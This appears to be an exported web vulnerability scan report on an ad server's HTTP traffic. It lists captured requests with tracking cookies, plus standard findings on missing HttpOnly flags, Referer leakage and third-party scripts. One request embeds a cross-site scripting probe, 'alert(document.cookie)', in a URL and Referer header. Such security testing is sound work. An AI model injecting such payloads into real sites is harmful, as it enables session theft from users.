GET /h.click/atmNYDUVn54FTpmHuqXTew3tnCSVBC2mBZapWitVWJcXr3dYFYf1TEOSFUCUUB0TdMXmFBxPFjqXqZbm5TJh5q7XnTBIXFU7UdFXmPfJmVjqmH3L3qZbh3dIN5PJZbmbvZd0GvQ1VYX0VFynEv23bMWWFMBWAUXPqbQ3UQGvC5voK/ HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/atmNYDUVn54FTpmHuqXTew3tnCSVBC2mBZapWitVWJcXr3dYFYf1TEOSFUCUUB0TdMXmFBxPFjqXqZbm5TJh5q7XnTBIXFU7UdFXmPfJmVjqmH3L3qZbh3dIN5PJZbmbvZd0GvQ1VYX0VFynEv23bMWWFMBWAUXPqbQ3UQGvC5voK/http:/pixel.quantserve.com/r HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /i.cid?c=246673&d=30&page=landingPage HTTP/1.1 Host: a.tribalfusion.com Proxy-Connection: keep-alive Referer: http://fls.doubleclick.net/activityi;src=1361549;type=landi756;cat=zipco403;ord=1;num=3596418555825.9487? Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ANON_ID=arn7TwNZaiMt6memCmGwxrdUs3tYbQRKAXpu2WGR5OjVZdBuEFn93sv7X8ZalwCuq7F0QFYFP3dkBSfkBxAXNnEbfxVOGZbsNxBYCqwmLZbm12GZcXljw7f3HikS9n1bWalbfCPvRr5pHFJ2IiiqvUj8gL5UKMojsRtkyGv3iLgZdLhJWNtFwIaQqSDUhJXcolRQQftgBRpZbqFL3j1LmZaRLgOPqeE7bMdTEIGxtZdfM5WI7wWtsmYZaJOJkAibgqRMFJEdwIqaWU9WeZd8ntA03ww6cnyXOZbrqhfFE1rXFZdZb7tIQT1LDwroLnCrSBFdeNZb3ZbqSUdhKTLyZaa4ZcFGHeZbVThMfN8pnAYOeBZbsKVSfraRuvG30PErMalZa5
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /j.ad?site=nydailynewscom&adSpace=ros&tagKey=1282868635&th=24526296851&tKey=aVmn6ySVfC4AvEpWInUWZbPudZbi90&size=728x90&p=4068932&a=1&flashVer=10&ver=1.20¢er=1&url=http%3A%2F%2Fwww.nydailynews.com%2Fblogs70f75'%253balert(document.cookie)%2F%2F84f766b9c15%2Fjets%2F2011%2F01%2Flive-chat-friday-noon-1&rurl=http%3A%2F%2Fburp%2Fshow%2F4&f=0&rnd=4069925 HTTP/1.1 Host: a.tribalfusion.com Proxy-Connection: keep-alive Referer: http://www.nydailynews.com/blogs70f75'%3balert(document.cookie)//84f766b9c15/jets/2011/01/live-chat-friday-noon-1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ANON_ID=aEn51LRZdySO6IUMsYExOjh1oBlrc7bJ8Za02ysiMOWruOZbe8aQHWTJ8WFv9mbElFFCFAwmoSrGk5x451A6bOHntMcsnInNDGLCwrScLQLMZaZb1Ncmcf7K20KbT57np199FZaw0mLWCH3AI5YJ0Wu36N55DyVPRBluxr7Bd5gBBXYkqRUe9UmE3CjxKLRFZcGvULfwumB2EKIn6QgbjSZcpCQcvO7WyZcQFe5mtDTRxdQZcIKWq8vfRhb6rjYSsPAM4QAsdVAed20A8B7YI0bHtTZatU7uo6f2JsWE7JrIZcnCEDooMfNC2sNZavfrtdRR9acdOQurFTy82SWn4nUGHFJMcjNnQ7dfKlmsY
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/a0mNYDpdIo56JW4sU7TGJaVcBgS6ZbyWdZbVTFJ15bErWaYmVEJdQEvJSVFZaRbunStY7Ucr54UunnWypYquM3WbFPGJZa5AJZcoWEyTtQ9Yrb61Uj70TqtRrnZbUFnXWdU2orBmRbfmYTvn5EUc4TYYnTnHYr7bUtMXyprwxq6uMx/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/874556783/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/a7mNvB0GM0YcJY1cZbpnqvW2UQVWbMAUAQYQav0ScUrQtbx1dvqWP3N2GY50UYZcVATv4PZb8PmbE2dYn1dnLpdTM36MY5V3aVcQjWcF7SAFOWtY3Ubb45bEqWEUoVaJdQaZbZcRGJZbQU6vPWM8WcU25rmsndeO0tqIwxZbMVw/ HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/aOmNvBpGrwoHYF2EY93Wmt46ZbZbpF3K0G7QXVn3XG7ynEZbW3FFPWrJDWmv4REnSPGnsQtUO1drrV6nv4GrW0UFZaVmPw4PYcR6bK2Wry1HBZbptAo5mYW3srcTVncWVMgR6JvTt3RTUbP5rAsWE3wWaY8PT3FQUZbvNiKVRq/ HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/aOmNvBpGrwoHYF2EY93Wmt46ZbZbpF3K0G7QXVn3XG7ynEZbW3FFPWrJDWmv4REnSPGnsQtUO1drrV6nv4GrW0UFZaVmPw4PYcR6bK2Wry1HBZbptAo5mYW3srcTVncWVMgR6JvTt3RTUbP5rAsWE3wWaY8PT3FQUZbvNiKVRq/http:/pixel.quantserve.com/r HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/aQmNQCR6fK2WFm0tZbInH2x46MQ4GnaVcBcVVJfPP3OUtnTUbMX3raqWqvtTEJdSaMZdRVBCPb6pSWMcWcQR5F6vnWqm0qmn2WbFSGbC2AnHpHPtVWJ7YrfaXUFj0TeMRbUZcUbvYWHM3orYmQFfo1qvq4qbl2a7fs21jlE/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/FarmersDirect/2011Q1/A_TX/300/L44/902448725/x90/USNetwork/FarmD_2011Q1_TRIBALF_A_TX_300/FarmersDirect_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/ HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/ad.doubleclick.net/jump/N339.8427.TRIBALFUSIONADNETWORK2/B5094459.6 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/t.mookie1.com/t/v1/clk HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/aUmNQC5EY73tyM4A7JnUbZbYGvUXc3XXGnwmaZbU5U3QVUFHWP72PT33QcYpSdUM0dBsVmrp2cYVYrYATPys4AZbgQPMF4WUn0dBKpdZay3PvY4Vb7VcQdVsMeSPYyUWY3Ur7S3UaoVEYpTTBaPE3JQcjKQUIoPH7WnHRP4p/ HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/aWmN7EXWUAndTy46vR5Vj9UcrbVVriPPrOTHYVWrbX3bisWajnVEn9QTULQGQKQFAqPtniWGv35rXtoWysYqev2HMASGJZa4PUZamdAyTWfeYrf91FF90qipPbQBUbvXVHJ5mF3mQFjnXa3y3EJg4TQQnajFXrJfWE79xdc4wS/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/1711169344/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/aimNQCWdQ3UrnX3rAqWTjmWTQ8QqrLQVYJQFZaoPHv7WGQV4U6tnWZaoXEmv4dnZbPcJH4mJZbotTnUdBbYrY81UBl1TqoPbYETFBYTtYYoFfxQrMr1E3s4EUk5aM2ma7IYrJgUtFRnm3LpGfnpWrF5qnf2WAr3AvMnW8PL9/ HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/aimNQCWdQ3UrnX3rAqWTjmWTQ8QqrLQVYJQFZaoPHv7WGQV4U6tnWZaoXEmv4dnZbPcJH4mJZbotTnUdBbYrY81UBl1TqoPbYETFBYTtYYoFfxQrMr1E3s4EUk5aM2ma7IYrJgUtFRnm3LpGfnpWrF5qnf2WAr3AvMnW8PL9/http:/pixel.quantserve.com/r HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
